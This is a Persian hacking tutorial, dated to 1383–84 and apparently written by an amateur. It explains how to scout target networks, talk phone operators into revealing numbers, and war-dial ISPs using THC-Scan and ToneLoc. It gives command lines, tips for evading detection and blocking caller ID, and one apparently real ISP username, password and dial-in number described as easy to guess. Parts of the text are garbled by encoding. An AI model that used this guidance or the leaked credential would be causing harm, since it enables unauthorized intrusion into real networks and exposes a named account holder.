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 و مهربانبه نام خداوند بخشنده 

  
  
  
  

  .آموزش و معرفی نرم افزارهای هک  : نام مقاله+  
  . شبکه و امنيت شبکه ،هک  : موضوع+  
  !! "  آقای من "مستعار با نام  COM.NOAVAR@003ZXOخودم  : نويسنده+  
 zip.farsi-book-hack/00003zxo/com.sharemation.www://https : لود برای دان لينک مستقيم+
  
  
  

روان دل و آسمانيان پاک نهاد و قدسيان زمين به رهزنی کا. نفوذ گری در شبکه و رهزنی داده ها زیبنده بردگان خاک و پندارهای ناپاک است
دند و کتابی زدریغ و افسوس که در وصف این سلک چندان قلم ن. آنهایی که در هر نظرشان هزار نکته مضمر دارند. نفوذ در قلوب مشغولند

  .ننوشتند
  
  
  
  

  من به وسعت اندیشه و کرامت طبع خوانندگان فرهيخته
   بهره گيری صحيحایمان دارم و این اوراق ناچيز را به پاس 

  و ابزارهای معرفی شده که البته تيغی است دو دم از مفاد 
  .به خاکپای آنان تقدیم ميکنم

  
  

  )مصادف با جشن چهارشنبه صوری  (٢٨/١٢/١٣٨٣: تاریخ آغاز نگارش مقاله 
  

  )مصادف با اربعين حسينی (١١/١/١٣٨۴: تاریخ پایان نگارش مقاله 
  

  ١١/١/١٣٨۴: تاریخ شروع ویرایش مقاله 
  

 متاسفانه مقاله را دوباره نتوانستم به علت کمبود وقت ویرایش کنم؛ به بزرگواری خودتان غلط های املایی و: یرایش مقالهتاریخ پایان و
  !!را نادیده بگيرید ... دستوری و

 
  !! ١٣٨۴اولين روزهای تابستان  احتمالا: تاریخ ویرایش دوباره مقاله 
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  : بر نگارش مقاله  خودم بر خودمهمقدم
  

قبѧل از ایѧن یѧک بѧار     . می دانم که چرا بعد از این همه مدت  بѧرای اولѧين بѧار آن هѧم در ایѧن شѧرایط تѧصميم گѧرفتم سѧکوت خѧود را بѧشکنم                              ن واقعاً
         ѧا وسѧردم امѧی کѧایت طراحѧک سѧرفتم و یѧشابه گѧردم        طتصميمی مѧا کѧاره رهѧصفه کѧار را نѧدم و کѧشيمان شѧار پѧت     .  کѧذیرش درخواسѧدم پѧاید عѧش

 مزید بر علت شده باشد ولی این برای من مهم نبود چون به هر دو طرف ، هم خѧودم وهѧم گرداننѧدگان سѧایت                       tur2.comعضویت من در سایت     
سایتی که فقط یک صفحه اول دارد  خوب معلوم است که در جواب به من چه ميگوینѧد تѧازه بایѧد متѧشکر هѧم باشѧم کѧه جѧواب دادن و             . حق ميدهم 

 رد شѧده اسѧت   مدر خواسѧت ... هم خودم به خودم حق ميدهم که چرا با دانستن این همه مطلѧب و شѧيوه و            البته  . گفتن که این درخواست رد شده است      
 برایم مهѧم نبѧود شѧاید علѧت اصѧلی ایѧن بѧود کѧه بѧه شѧدت از آینѧده خѧودم ميترسѧيدم و بѧرای                               مهم نبود ، اول مطلب هم گفتم واقعاً        ولی این واقعاً  !!! 

 اولين جایی بود کѧه مѧن بѧا ایѧن مقولѧه       حقيقتاً.ه زدم و شاید هم انجام دینی که به گردنم دارد این سایتسرگرم کردن خودم دست به نوشتن این مقال   
اما دليل ننوشتن مطالب آموزشی در ایѧن بѧاره تѧا بѧه ایѧن لحظѧه را بѧه یقѧين ميѧشود گفѧت و آن چيѧزی جѧزء              . آشنا شدم و مطالب بدرد بخوری یافتم      
خداونѧد بخѧشنده    که آیا این کاری که من ميکنم از نظر ؛درباره مقوله شرعی این مطلب در پيش خودم است        عدم نتيجه گری و البته تصميم گيری        

 مѧن در ایѧن بѧاره سѧرگردان شѧده ام ، زبѧانم در توصѧيف ایѧن مطلѧب بѧسيار                     آیا گناه و معصيت است یا راه صواب و پاداش دیگѧر واقعѧاً              و مهربان 
  .  که به احوالات من بسيار نزدیک استت همدانی را در زیر می آورمناتوان است به همين خاطر نوشته عين القضا

  
 

 !چه نويسم؟
 

هر چه می نويسم پنداری دلم خوش نيست و بيشتر آنچه در اين روزها نبشتم همه آن است که يقين ندانم که نبشتنش 
 .بهتر است يا نا نبشتنش

و نبايد که در بحری افکنم خود را که ساحلش .. .نه هرچه درست است و صواب بود،روا بود که بگويند! ای دوست
 .آيم بر آن پشيمان باشم و رنجور» خود«که چون وا» خود«پديد نبود،و چيزها نويسم بی

 ...از مکر سرنوشت...و جای ترس دارد...ميترسمای دوست 
 ت؟حقا و به حرمت دوستی،که نميدانم که اين که مينويسم راه سعادت است که ميروم يا راه شقاو

 طاعت است يا معصيت؟و حقا،که نميدانم که اين که نبشتم 
 !کاشکی که يک بارگی نادان شدمی تا از خود خلاصی يافتمی

 !چون در حرکت و سکون چيزی نويسم،رنجور شوم از آن به غايت
 ;و چون در معاملت راه خدا چيزی نويسم،هم رنجور شوم

 چون احوال عاشقان نويسم نشايد،
 ن نويسم،هم نشايد،چون احوال عاقلا

 و هرچه نويسم،هم نشايد،
 و اگر هيچ ننويسم هم نشايد،

 و اگر گويم نشايد،
 و اگر خاموش گردم هم نشايد،

 ...و اگر اين وا گويم نشايد و اگر  وا نگويم هم نشايد
 !و اگر خاموش شوم هم نشايد                                                          ...
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  :مقدمه مقاله 
  

امѧا ایѧن دليѧل بѧر نѧاتوانی مѧن نيѧست بلکѧه ایѧن کѧار را بѧسيار              .  نکرده ام  Deificبدون هيچ اغراق ميگویم که تا به حال هيچ صفحه وب سایتی را              
صلا نمѧی دانѧم بѧرای چѧه و کѧه مينویѧسم       و ا،  ... پست و کم اهميت ميدانم که در ادامه متوجه خواهيد شد هيچ دليلی برای نوشتن این مقاله ندارم و                  

نمی توان لذت این کار را انکѧار کѧرد بѧرای تѧازه کارهѧا و یѧا        " دمن الوجو" البته به هيچ وجه . البته اميدوار هستم که شما هم از این کارها نکنيد         
ست و نمѧی تѧوان در ایѧن بѧاره مثѧل بقيѧه مقولѧه        اصولا مقوله هک خيلی گسترده ا. ولی در کل من با این کار مخالف هستم. به عبارتی نو نهال ها  

.  شيوه ، و مکانيزم ها و ایجاد ابزارهای جدید و البته از دور خارج شدن ابزارهای پير و شناخته شده             رها صحبت کرد و به سرعت در حال تغيي        
 ام نѧه کѧس دیگѧری و فقѧط و فقѧط بѧه خѧودم                آموزش این مطلب کار دشواری است برای منی که تا به حال فقط به دنبѧال آمѧوزش خѧودم بѧوده                      واقعاً

" پيشرفت در این راه بدون تردید نياز مبرم به مطالعه کتابهای روز این مقوله دارد که البته بيشتر این مراجѧع و کتابهѧا بѧه زبѧان          . فکر ميکرده ام  
رونѧد  .  لازم اسѧت  حѧداقل انѧدکی از ایѧن زبѧان     دانѧستن  بѧرای پѧيش رفѧت در ایѧن راه          دل همѧان انگليѧسی خودمѧان اسѧت کѧه واقعѧاً            امع" اَنگل استانی   

 نگارش این مقالѧه بѧه هѧيچ وجѧه قابѧل دفѧاع نيѧست چѧون مѧن هѧم مثѧل شѧما البتѧه بعѧد از خوانѧدن ایѧن مقالѧه پѧی بѧه ایѧن کѧه گѧسيختگی مطالѧب واقعѧاً                                
د دو جملѧه را پѧشت سѧر هѧم پيѧدا کنيѧد        پی بردم و به هيچ وجه هم از آیين نگارش آن نمی شود دفاع کرد چون شما حتѧی نميتوانيѧ      ، وحشتناک است 

  ... البته غلط های املایی که بيداد ميکند وکه فعل فاعل در جای خود آمده باشد و
هيچ ادعایی نيست ، من هم مثل شما هستم ، چند صباحی پيش من نيز یک کѧاربر معمѧولی رایانѧه بѧودم کѧه حتѧی بѧاور کنيѧد نميدانѧستم ایѧن وسѧيله                           

 ميرفѧت و مѧن ميگفѧتم ایѧن خѧراب شѧده چѧرا خѧاموش         Stand bay زدن دکمѧه روی کѧيس هѧی ایѧن رایانѧه بѧه خѧواب         و بѧا دچگونѧه خѧاموش ميѧشو   
به این درجه کѧه خѧودم ميѧدانم    ) البته به هيچ وجه خود ستای نيست ( یکی از دلایل اصلی من که رفتم سراغ این وسيله و به نظر خودم        !! نميشود

   .عرض کردم بوده استرسيدم همين موضوع بود که خدمت شما ها 
از ایѧن دسѧت و   ...  و سѧوزاندن هѧارد و  CPUسѧوزاندن   هم چون اراجيف و مهملاتیاین را قبل از گفتن روند مقاله ذکر کنم که شما اگر به دنبال        

دن آمѧوزش هѧایی از   بهتر است بѧرای پيѧدا کѧر   . هستيد این مقاله به شما اصلا کمک نميکند...  یاهو و IDکارهای بی اهميتی همچون یافتن پسورد       
  !!این دست یک مقاله دیگر پيدا کنيد

روند آموزش هک البته هک سرور را تا جایی ميشود هميشه سيستماتيک فرض کرد و روال ثابتی دارد ولی هرچه به مراحل آخѧر ميرسѧيم ایѧن                  
بدست آورده اید مراحѧل آخѧر چѧون بѧرای تѧک تѧک       روند کاملا به تجربه دانش و البته از همه مهمتر به اطلاعاتی بستگی دارد که از مراحل قبل          

قѧسمت  . عملѧی نيѧز هѧست   % ١٠٠ا معرفѧی ميکѧنم البتѧه        ر نميشود زیاد در آن وارد شد اما من برای آن یک راه کلی               سيستمها متفاوت است حقيقتاً   
مراحѧل جمѧع آوری اطلاعѧات و پѧویش     مشخص اسѧت و شѧامل   ) اکثر اوقات با تجربه ها دور ميزنند با تجربه ایی که دارند   ( سيستماتيک هميشه   

 کاملا وابسته به اطلاعاتی اسѧت کѧه   کمراحل غير سيستماتي. است... پورت و پویش نقاط آسيب پذیر و کشف سرویس ها ، کشف سيستم عامل و 
از یѧک شѧيوه   مواقѧع متفѧاوت اسѧت نميѧشود بѧرای ایѧن گѧام        % ٩٩٫٩٩٩٩در این مرحله بدست ميآوریѧد و چѧون اطلاعѧات بدسѧت آمѧده هميѧشه در                

که در این جا به متد هѧک بѧه       ( شناسایی مقدماتی شبکه هدف     این مقاله سعی ميکند گام اول که شامل مراحل مختلفی همچون            . هميشه استفاده کرد  
دا  ولѧی جѧای دیگѧری بѧرای توضѧيح آن پيѧ       ،دانѧم خѧودم هѧم     را کاملا توضيح داده ام که ربط این متد را به آن قѧسمت نمѧی  WAR Dialingشيوه 

وم در گѧام سѧ  . بپѧردازم " هدر ها "  یا پویش پورت ها و بعد جمع آوری اطلاعات از سر برگهادر گام دوم سعی بر توضيح و آموزش و ) نکردم  
 و آخر تمѧام تѧلاش خѧود    چهارمدر گام . سعی بر آن کرده ام نرم افزارهای پوش نقاط آسيب پذیری سيستم و برنامه های کاربردی را توضيح دهم            

  .رده ام که کمک به تجزیه تحليل اطلاعات بدست آمده  را انجام دهم تا شما در انتخاب شيوه مورد نظر برای حمله بهترین را انتخاب کنيد را ک
آخرین حرف من توجه به این نکته است سعی کردم که ابزارهای ابتدایی و پایه ویندوز را در انتهѧا معرفѧی کѧنم و البتѧه مفѧاهيم پایѧه ایѧی همچѧون               

 البته در یکی از ضميمه هѧا بѧه معرفѧی راه حѧل اجѧرای برنامѧه       .اميد است برای شما راه گشا و مفيد واقع شود   . UDP و   TCPورت ، پروتکل    پ
  ).البته من این گونه فکر ميکنم(های خانواده یونيکس در سيستم عامل ویندوز پرداخته ام که فوق العاده مفيد ميباشد 

  
  .ن این مقاله را دوباره ویرایش کرده و ابزار هایی جدیدی را که در این مقاله از قلم افتاده توضيح دهم قصد دارم در اوایل تابستا

  
  .به اميد موفقيت تمام دوستان
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  : گام اول هک مقدمه
  

 سѧاعت  ۴ سѧاعت قطѧع کѧنم ،      ۶دت  چنѧان چѧه قѧرار باشѧد درختѧی را در مѧ             : ميگویѧد   " آبراهام لينکن   !!" هميشه قبل از حمله این کار انجام ميشود       
مثل تمام کارها اول یک کم درباره هدف اطلاعات جمع آوری ميکنيم و بعѧد شѧروع بѧه حملѧه            .!!! نخست آن را صرف تيز کردن تبر خواهم کرد        

      ѧر هѧایين و خطѧسيار پѧت بѧت  می کنيم یک هکر خوب هيچ وقت بدون مقدمه و کور، را کور به هدف حمله نميکند چون احتمال موفقيѧسيار اسѧا ب .
  .هميشه بدانيد که این مرحله بسيار طولانی بوده و بسيار پر اهميت و البته پرهزینه 

اگر خواستيد بدانيد شناسایی مقدماتی هدف به چه معنی است و یعنی چه این را تصور کنيد که در یѧک ميѧدان نبѧرد واقعѧی هѧستيد و حѧال چگونѧه                      
دسѧѧت بѧѧه حملѧѧه ...  محѧѧل اسѧѧتقرار نيروهѧѧای دشѧѧمن و آگѧѧاهی از حجѧѧم نيروهѧѧا ، ادوات ، مهمѧѧات و  ميتѧѧوان بѧѧدون آگѧѧاهی از موقعيѧѧت جغرافيѧѧایی و 

  !موفقيت آميز زد و زنده ماند 
 یѧک سѧارق بѧدون داشѧتن اطلاعѧاتی دربѧاره آن بانѧک مثѧل         .ه سѧرقت از بانѧک دیѧده ایѧد     دربѧار م تا به حال ده هѧا و شѧاید صѧدها فѧيل         نشما هم مثل م   

حال بعѧد از درک مفهѧوم مѧورد نظѧر      .چگونه ميتواند موفق باشد ... سيستم دزد گر و موقعيت زنگ ها تعداد کارمندان و         راههای فرار دوربين ها     
  .ميرسيم به اصل مطلب

  
  گام اول 

  
  :راههای شناسايی مقدماتی شبکه هدف 

  
  !!!  روش مخ  تر کانی -١
  . دسترسی به شبکه -٢
  . جستجو در وب  به دنبال اطلاعات شبکه هدف -٣
    .DNS گرفتن اطلاعات از سيستم -۴
  . نرم افزارهای مربوطه -۵
  ... و-۶
  
  :  روش مخ  تر کانی -١
  

مѧن زیѧاد در ایѧن مبحѧث وارد نميѧشوم امѧا بگѧم             .شاید فکر کنيد مسخره است و شاید مقاله یا روشهای زیادی را خوانده باشѧيد ،  دربѧاره ایѧن روش                     
، من به شما توصѧيه ميکѧنم   ! سطح آگاهی اپرا تورها بالا رفته اما هنوز هم روش کاری است باور کنيدقدیم ها خيلی کارای داشت برای من الان  

شاید وقت زیادی بگيرد، راستی پول هم براش نميخواهد بدهيѧد  .را حتما در این باره بخوانيد"  Kevin Mitnick Art Of Deception" کتاب 
  .و گل یک جستجو کنيد حتما پيدا ميکنيد یک نسخه از آن راداخل گ.  آن  داخل شبکه زیاد است E-BOOKچون 

  
  : دسترسی به شبکه -٢
  

  . در این قسمتفرض کردم   ISPنکته من برای درک و فهم بهتر مفهوم قربانی را  یک 
  

 دارد و بѧدرد بخѧور امѧا        این هم مثل بالایی شاید فکر کنيد مسخره است اما یک چند مثال یک چند روشѧی توضѧيح ميѧدهم تѧا بفهميѧد چقѧدر کѧارایی                            
بѧا یѧک مثѧال شѧروع      .رف نميکند اما در بعضی مواقع بسيار بѧدرد بخѧور  شهای آن دیگر برای من و بعضی ها ص      خيلی پر خرج است بعضی رو     

ها هѧم   ها ، یک کافی نت هم برای خودشان دارند که کنار سرور های آن ها هم است و در بعضی مواقع سرور     ISPخيلی مواقع بيشتر    . ميکنيم  
که شما ميتوانيѧد پѧشت یѧک سيѧستم نشѧسته       )  در مشهد ) ع(قابل توجه مشهدی ها مثل کافی نت خيام در بولوار امام رضا!! ( مشترک است به به  

  هѧا ISPاما یک راه سѧاده تѧر هѧم اسѧت  بعѧضی از صѧاحبان       ... .و کلی اطلاعات بدست بياورید مثل نوع  اتصال، پهنای باند ، نوع مسير یاب و             
مثѧѧل اکѧѧانتی بѧѧا نѧѧام کѧѧاربر "   قابѧѧل توجѧѧه کرجѧѧی هѧѧا ." یѧѧک اکانѧѧت روی سѧѧرور درسѧѧت ميکننѧѧد کѧѧه قابѧѧل حѧѧدس زدن ميباشѧѧد... بѧѧرای خودشѧѧان و 

در بعѧضی   . کѧه براحتѧی حѧدس زده و لѧو ميѧرود          ٩٧١٢٠٠  و شماره دست رسѧی بѧه شѧبکه              ٢۵٠۵۵٣۴و کلمه عبور     )  parvizian(پرویزیان  
 شلوغی خط های شبکه شان ترجيح ميدهد یک مودم را در بست در اختيار داشته باشد  که این هѧم رایѧج اسѧت البتѧه                      مواقع حضرت مدیر به علت    

که ما برای دسترسی به این مودم ها و البته شناسایی آنها از برنامѧه هѧای             ! برای راحتی کار در بعضی مواقع که نادر هم نيست بدون کلمه عبور            
 "WAR DIALER  "و برای حمله به آنها از .يماستفاده ميکن"DEMON DIALER "       ور آنѧه عبѧاربر و کلمѧام کѧيم نѧاستفاده ميکنيم تا بفهم

  .را 
  

داشѧته باشѧيد   " مѧخ ت ليѧت کنѧی    "  است که البته  بایѧد هنѧر   ١١٨را بدست آورد که بهترین راه  ) ISP( باید تمام شماره های تلفن شرکت =  اول  
  .و راه دوم استفاده از نرم افزار است که توضيح ميدهم در این باره هم!! امثال خودم این یکی را دارا هستنکه همه پسرها معمولا به غير از 

 و بدست آوردن تمام شماره ها آنها را تفکيک ميکنيم برای راحتی کار به این صورت که شماره هѧای اتѧصال       ١١٨بعد از ترکاندن مخ  اپرا تور        
اینترنت آن شرکت می بينيد کنار گذاشته شѧماره هѧای روابѧط عمѧومی و پѧشتيبانی هѧا را هѧم همينطѧور بعѧد مѧا           به شبکه را که معمولأ پشت کارت      
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باقی شماره ها را  بعد با تلفن یک تماس کوچولو با آنها بر قرار کرده تا بفهميم چکاره هستن این شماره ها آنهای را کѧه آدم گوشѧی را بѧر داشѧت                    
اینها را نگه دارید ما با .بعد آنهای را که آدم بر نداشته ولی تماس برقرار شده هم یک طرف ما با اینها کار داریم   و الو الو کرد کنار ميگزاریم و        

  .اینها کار داریم فعلا زیادی رفتيم جلو یک قدم ميگردیم عقب تا ببينيم چه ميشه کرد اگر مخ اپرا تور ترکاندنی  نبود که نبود 
  

 اصول کار مودم و کѧامپيوتر آشѧنای دارنѧد حتمѧا ميداننѧد کѧه وقتѧی بѧا یѧک مѧودم تمѧاس ميگيرنѧد بѧرای اتѧصال بѧه                             برای تمام کسانی که مقداری به     
حتما نياز به یک سرویس دهنده است تا آن سرویس دهنده ضمن دستور وصل ارتباط هویت کاربر دور را تشخيص دهد و بعد     ...  کامپيوتر و یا    

  .از احراز هویت به او سرویس دهد 
ی درک بهتر موضوع یک مثال ميزنم شما یک کامپيوتر دارید و آن توسط یک مودم هميشه به خط تلفن متصل اسѧت شخѧصی بѧا شѧما تمѧاس              برا

نياورده اید متوجه تماس او نمی شوید ولی گوشی ) فعال و در حال اجرا ( ميگيرد شما پشت کامپيوتر چون نرم افزاری را برای این منظور بالا     
  .د و شما از طریق گوشی تلفن متوجه تماس ميشویدتلفن زنگ ميزن

  :چند نمونه از نرم افزارهای سرویس دهنده مودم برای احراز هویت از راه دور البته مشهورترین ها عبارتند از
1- SYMANTEC S PC ANYWHERE 
2-LAPLINK 
3-CONROLIT 
4- …. 

 .برای ما ها  ما فوق هلو هستندقابل ذکر است هر کدام از این ها  در صورت پيکر بندی نادرست 
بѧه آن ماشѧين   ... مثل شماره یک که اگر اپرا تور آن ناشی باشد و بعد از نѧصب آن را درسѧت پيکѧر بنѧدی نکنѧد شѧما ميتوانيѧد بѧدون کلمѧه عبѧور و                    

  .وصل شده و از امکاناتی مثل یک کاربر معمولی که پشت آن سيستم است استفاده کنيد 
ميѧدانيم  ) مѧن و هѧزاران شѧيطان همѧراه خѧودم     ( ابزار های زیادی برای کشف مودم اختراع شده اسѧت و تѧا آنجѧا کѧه مѧا        تا به حال عمر هکری  ما        

  . که برای آشنایی شما تعدادی از این نرم افزار، را معرفی ميکنم . سابقه آنها به نيمه دوم دهه نود ميلادی ميرسد 
1- DELUXE FONE-CODE HACKER 1985 
2- DIALING DEMON VERSION 1.05 , BY TRACY MCKIBBEN 1988 
3- PBX SCANNER VERSION 5.0, BAY GREAT WHITE 1989 
4- SUPER DIALER 1.3, BAY EVAN ANDERSON 1990 
5- DOO TOOLS VERSION 1.10, PHANTOM PHOTON 1991 
6- Z-HACKER 3.21, BY BLACKBEARD 1991 
7- TONLOC 1.10, BAY MINOR THREAT & MUCHO MAAS 1994 
8- A-DIAL (AUTO DAIL), BAY VEXATION 1995 
9-X-DIALER, BAY ICIKL 1996 

   :THC-Scan 2.0من حالا به معرفی و آموزش یکی از این ابزارها ميپردازم به نام  
 سال پيش اسѧت امѧا هنѧوز کѧارایی      ٧ آمده و مال     ١٩٩٨در سال   ) . البته در این مقوله     ( شاید تا به حال نرم افزاری به این قدرت در کارش ندیدم             

دارای خروجѧی گرافيکѧی نيѧست مثѧل     . قابل اجرا است ) WINDOWS SERVER 2003  تا ٣٫١از مدل ( اساسی دارد در تمام نسخ ویندوز 
مѧѧѧѧѧن ایѧѧѧѧѧن نѧѧѧѧѧرم افѧѧѧѧѧزار را در انѧѧѧѧѧدر قѧѧѧѧѧدیم زمѧѧѧѧѧان از آدرس   . بيѧѧѧѧѧشتر نѧѧѧѧѧرم افزارهѧѧѧѧѧای هѧѧѧѧѧک و کѧѧѧѧѧرک خѧѧѧѧѧوب تحѧѧѧѧѧت خѧѧѧѧѧط فرمѧѧѧѧѧان اسѧѧѧѧѧت     

/EDU.TUSCULUM.INFERNO.THC://HTTPگرفتم  .  
  :اهری برنامه بعد از اجرا در خط فرمان  شکل ظ

  
  

  .خروجی برنامه به بخشهای تقسيم شده است که همه را توضيح ميدهم !! همانطور که می بينيد 
در ایѧѧن قѧѧسمت شѧѧما فرامينѧѧی کѧѧه از طѧѧرف نѧѧرم افѧѧزار بѧѧه سѧѧمت مѧѧودم قربѧѧانی فرسѧѧتاده شѧѧده و    " :  MODEM Window " ١ قѧѧسمت اول -١

 چѧی هѧستن بعѧدا    Hayes همخѧوانی دارد اینکѧه مѧودم هѧای           Hayesاین دستورها با دستورهای مودم های       . ( شاهده ميکنيد پاسخهای دریافتی را م   
  ) .ميگم 

  .در این پنجره زمان فعلی ، زمان شروع و زمان احتمالی پایان تماسها را برای یافتن مودم رامی ببيند " : Time " ٢ قسمت دوم -٢
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  . هر وقت یک مودم با حال پيدا کند به شما در این پنجره نشان ميدهد " :Found  " ٣ قسمت سوم -٣
در ایѧѧن قѧѧسمت از نѧѧرم افѧѧزار گѧѧزارش هѧѧا را نمѧѧایش ميدهѧѧد در بѧѧاره وجѧѧود سѧѧيگنال حامѧѧل از یѧѧک مѧѧودم ،   " : Statistic  " ۴ قѧѧسمت چهѧѧارم -۴

  ... ا در یک ساعت و تخمينی از تعداد تماسها و تعداد مودم های کشف شده  ، تخمينی از تعداد تماسه
ایѧن  . در این پنجره تمام عمليات انجام شده  بهم راه زمان انجѧام و مشخѧصات آن درج ميѧشود     " : Log Window " ۵ قسمت آخر و یا پنجم -۵

  . ذخيره ميشود در پوشه برنامه txtاطلاعات برای برسی های بعدی در یک فایل 
  

  :ویژگيهای ای برنامه عبارتند از 
  
١- Dial random, Sequential or list of numbers   اѧد و یѧیعنی اینکه  این برنامه ميتواند شماره ها را هم به صورت تصادفی انتخاب کن  

  !!اینکه شما آنها را در یک فایل به ترتيب دلخواه بنویسيد و بدید دست نرم افزار و یا پشت سر هم زنگ بزند 
٢-  Nudging یѧѧالا یعنѧѧت حѧѧالی اسѧѧسيار عѧѧری   بѧѧک سѧѧور یѧѧدرد بخѧѧال و بѧѧودم فعѧѧشف مѧѧد از کѧѧد بعѧѧالی ميتوانѧѧضرت تعѧѧن حѧѧه ایѧѧی اینکѧѧی یعنѧѧچ

  .کاراکتر های از قبل مشخص را برای مودم قربانی ميفرستد 
  .خوب که چی ؟ برای اینکه بفهمد نرم افزار سرویس دهنده جی است با توجه به جواب در یافتی از مودم قربانی 

٣-  Random wait between calls      هѧری وقفѧک سѧما یѧه شѧاین یعنی اینکه بين تماسهای پشت سر همی که ميگيرد به طور دلخواه خودش ن  
  !!هایی بيندازد به طور نامنظم تا شما لو نروید به علت این همه تماس 

۴-  Break up Work  ن برنѧات ایѧامپيوتر       اگر شما یک شبکه داخلی و چند مودم و چند خط تلفن دارید با استفاده امکانѧر کѧار را روی هѧه کѧام
  .تقسيم ميکنيم تا زود تر به نتيجه برسيم

دیگر ویژگيهای این برنامه ایѧن اسѧت کѧه اگѧر شѧماره ای وسѧط کѧار اشѧغال بѧود آن را کنѧار مѧی گѧزارد و بعѧدا مѧدت زمѧانی دوبѧاره آن شѧماره را                     
  .ميگيرد

  .ماره هم کنار ميگزارد و بعدا به اون دوباره زنگ ميزندکند این ش.. اگر کسی آن طرف خط گوشی را بردارد و هی الو الو و
 صفحه کليѧد ارتبѧاط را قطѧع کنيѧد و یѧا      Bاگر بلندگو مودم فعال باشد و شما صدای طرف را در هنگام الو الو کردن بشنوید ميتوانيد با فشار دکمه        

  ... آن شماره را برای شما ثبت کند وCاگر صدای  مودم را ميشنوید با فشار دکمه 
  . است که اون هم توضيح ميدهم Tone locیک کم ریز تر توضيح ميدهم  اول این نرم افزار بالا شکل پيش رفته نرم افزار 

  را اجѧرا کنيѧد مѧی توانيѧد     ts-cfg اگر فایل !! این دوتا خيلی سر راست نصب ميشوند و فقط شما باید فایل اجرایی آن را کپی کنيد بعد اجرا کنيد 
چون مѧوقعی کѧه   ...  و٠٢۶١ و کرجی ها ٠٢١ن را دست کاری کنيد توصيه ميشود کد منطقه خود را حتما وارد کنيد مثلا تهرانی ها           پيکر بندی آ  

  :شکل ظاهری این به این صورت است!!در خط فرمان ميخواهيم شماره گيری کنيم مشکلی پيش نياید 

  
  

  :ه این شکل ميشود ب) پيکر بندی مودم    ( Modem Configکه پس از زدن گزینه 
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 چѧی بایѧد   IRQالبته زیاد شما در این قسمت دست کاری نکنيѧد ولѧی فقѧط پѧورت را یѧک نگѧاه بندازیѧد ببينيѧد درسѧت یѧا نѧه  اگѧر نمѧی دانيѧد جلѧوی                               
  :اجرا کنيد بعد ميفهميد ولی شکل کلی به صورت زیر است MOD-DET.EXEبنویسيد نرم افزار کمکی آن را با نام 

COM             IRQ           I/P Port 
1                     4                  3f8 
2                     3                  2f8  
3                     4                  3e8 
4                     3                  2e8 

، شѧماره گيѧری مجѧدد    )چقدر زمѧان بѧرای هѧر شѧماره صѧرف شѧود      (یم اوت برای فراخوانی     اگر می خواهيد جزئيات بيشتری را تنظيم کنيد مثل تا         
  :  بروید که این شکلیScanning Optionsبه منوی ...  شماره های اشغال انجام بشود یا نه ، تصادفی شماره بگيرد یا نه و 

 

  
  

در آخѧر  . تون یک نيم روز سرف آن کنيد ميفهميѧد هѧيچ کѧاری نѧدارد              خود) چون خيلی خيلی تابلو   ( من نمی خواهم ریز جزئيات با این یادتون بدم          
  .فایل پيکر بندی را ذخيره کنيد و خارج شوید

  :بعد از پيکر بندی که مطالب مهم آن را یادتون دام موقع اجرا نرم افزار، فرا ميرسد باید شما در خط فرمان بنویسيد
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 
 
D:\zornaznfarsinvashtam>Thc-scan filename.dat/m:123.xxxx/r:1000.9999 
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نمایѧانگر پيѧشوند و دامنѧه شѧماره تلفѧن هѧا اسѧت کѧه بایѧد شѧماره گيѧری شѧوند              M/گزینѧه  . باز هم یک توضيح کوچولو در باره  این دستور ميѧدهم     
خѧودم هѧم نفهميѧدم چѧی گفѧتم بѧه عبѧارت دیگѧر ،               . در فرمѧان ميباشѧد     Xرا مشخص ميکند که در نقاط مѧشخص بѧا             ارقامی    Range  یا      R/گزینه  .

 .) رقم مشخص می کند۶ تا ٣  M/.(  را شماره گيری ميکند ١٢٣-٩٩٩٩ و ١٢٣-١٠٠٠فرمان بالا کليه ارقام بين 
  !!همين. کردید شما است که بالا درست یتنظيمها هم همان نام فایل Filename.datگزینه  

البته این بابای بلایی است من توصيه نميکنم از ایѧن اسѧتفاده کنيѧد    !!  هم کاره بوده Tone locقبل از این نرم افزار بالایی %  ١٠٠احتمالا یعنی 
 علѧت کمѧی   مѧن ایѧن بѧه   .ولѧی خيلѧی قѧوی ولѧی دنѧگ فѧن گѧش خيلѧی زیѧاد              . ولی باز طرفدار خودش را دارد شѧاید شѧما هѧم از طرفѧدارهای آن شѧدید                 

  !!پيچيدگی آن بيشتر توضيح ميدهم 
  ١٠٠٠٠ است که امکان شماره گيری خودکار و مدیریت بيش از DOSاین ابزار همينطور که ميدانيد برنامه شماره گير تحت 

ک رابѧط کѧاربر کѧه از    البتѧه دارای یѧ  !!   بѧودن را   User Friendly را دارا ميباشѧد البتѧه بغيѧر از    THC Scanشماره را دارد تمام قابليت های 
قبѧل از اسѧتفاده از   .    استفاده می کند هست که کار را ساده کرده است البته با سویچ ها در خط فرمان کار آنرا ميشود کردASC 2کاراکتر های 

 روی کيبѧورد  Enterه دکمѧه   را اجѧرا کنيѧد ایѧن بگѧم کTlcfg.exe     ѧاین برنامه باید این را مثل نرم افزار قبلی پيکر بندی کنيد برای این کار فایѧل            
  !! باعث بسته شدن آن ميشود با کليد های جهتی ميتوانيد تو منو ها حرکت کنيد  Escکار باز کردن منو ها را دارد و 

     : Filesمنوی 

  
  

این فایلها نتایجی مثل . بدهيد  و غيره را تغيير LOG  ،  Foundبا استفاده از منوی فایل شما ميتوانيد اسامی  مورد نظرتان برای فایلهایی  مثل    
گيج ميѧشود آخѧرش هنگيѧات    "  ها لو " توصيه ميکنم دست نزنيد   !! ( را دارا ميباشند    .... تلفن مشغول بود و جواب نداد و یک مودم پيدا کردم و             

  .است...   شماره هایی که هرگز نباید بگيرد مثل اورژانس، آتش نشانی،  پليس وBlack listفایل ).ميکند
Alt Screenوق    .  هم حاوی راهنمایی های نا مربوطه استѧد بѧده عهѧ٨٫٣لازم به ذکر است در نام گزاری فایل ها قاع DOS   تѧا رعایѧرا حتم  

  !! کاراکتر برای پسوند فایل ٣ کاراکتر برای نام  و ٨کنيد یعنی 
    :Modem Stringsمنوی 

  
  

 را برای پيکر بندی مودم استفاده کنيѧد  AT  یا به عبارت ساده تر دستورات Hayesدم های با استفاده از این منو ميتوانيد دستورات استاندارد مو       
 از کѧار بيفتѧد ميتوانيѧد پيѧشوند هѧای دیگѧری را هѧم اسѧتفاده         Caller ID عوض کنيد تѧا  ATDT*67 به ATDTمثلا  پيشوند شماره گيری را از 

ست رسی به خѧط تلفѧن ميگيѧرد و سѧپس کѧد درخواسѧت شѧماره گيѧری از راه دور                   را برای د   ٩ یعنی اینکه ابتدا شماره      ATDT9,1907کنيد مثل   
